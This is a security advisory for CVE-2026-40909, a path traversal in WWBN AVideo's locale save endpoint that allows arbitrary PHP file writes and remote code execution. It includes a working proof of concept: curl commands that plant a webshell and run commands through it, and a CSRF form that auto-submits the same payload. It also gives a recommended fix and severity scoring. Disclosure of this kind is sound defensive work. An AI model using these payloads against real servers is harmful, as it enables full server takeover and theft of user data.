Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-6rc6-p838-686f
Advisory ID github_osv/GHSA-6rc6-p838-686f
Aliases CVE-2026-40909
Summary WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE) ## Summary The locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution. ## Details In `locale/save.php`, the vulnerable code path is: ```php // locale/save.php:10 — only auth check, no CSRF token if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) { // ... die(json_encode($obj)); } // locale/save.php:16 — base directory $dir = "{$global['systemRootPath']}locale/"; // locale/save.php:30 — UNSANITIZED path concatenation $file = $dir.($_POST['flag']).".php"; $myfile = fopen($file, "w") or die("Unable to open file!"); // locale/save.php:40 — UNSANITIZED content write fwrite($myfile, $_POST['code']); ``` **Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory. The file content is constructed as: ```php <?php global $t; {$_POST['code']} // attacker-controlled, written verbatim ``` An attacker can inject arbitrary PHP after closing the translation context (e.g., `$t["x"]=1;?><?php system($_GET["c"]);`). **CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial. ## PoC **Direct exploitation (requires admin session):** ```bash # Step 1: Write a webshell outside locale/ to the webroot curl -b 'PHPSESSID=<admin_session>' \ -X POST 'https://target/locale/save.php' \ -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);' # Step 2: Execute commands via the written webshell curl 'https://target/webshell.php?c=id' # Response: uid=33(www-data) gid=33(www-data) ... ``` **CSRF variant (no direct admin access needed):** Host the following HTML on an attacker-controlled site and lure an admin to visit: ```html <html> <body> <form method="POST" action="https://target/locale/save.php"> <input type="hidden" name="flag" value="../../webshell"> <input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'> </form> <script>document.forms[0].submit();</script> </body> </html> ``` After the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE. ## Impact - **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise. - **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. - **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host. ## Recommended Fix Sanitize the `flag` parameter to prevent path traversal and add CSRF protection: ```php // locale/save.php — after the admin check at line 14 // Add CSRF token validation if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) { $obj->status = 0; $obj->error = __("Invalid token"); die(json_encode($obj)); } // Sanitize flag to prevent path traversal $flag = basename($_POST['flag']); // strip directory components if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) { $obj->status = 0; $obj->error = __("Invalid locale flag"); die(json_encode($obj)); } $file = $dir . $flag . ".php"; // Verify resolved path is within expected directory $realDir = realpath($dir); $realFile = realpath(dirname($file)) . '/' . basename($file); if (strpos($realFile, $realDir) !== 0) { $obj->status = 0; $obj->error = __("Invalid file path"); die(json_encode($obj)); } ``` Additionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.
Status Published
Exploitability 0.5
Weighted Severity 7.8
Risk 3.9
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6rc6-p838-686f/GHSA-6rc6-p838-686f.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-21T20:14:58Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/40xxx/CVE-2026-40909.json

Source Advisory: vulnrichment/CVE-2026-40909

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]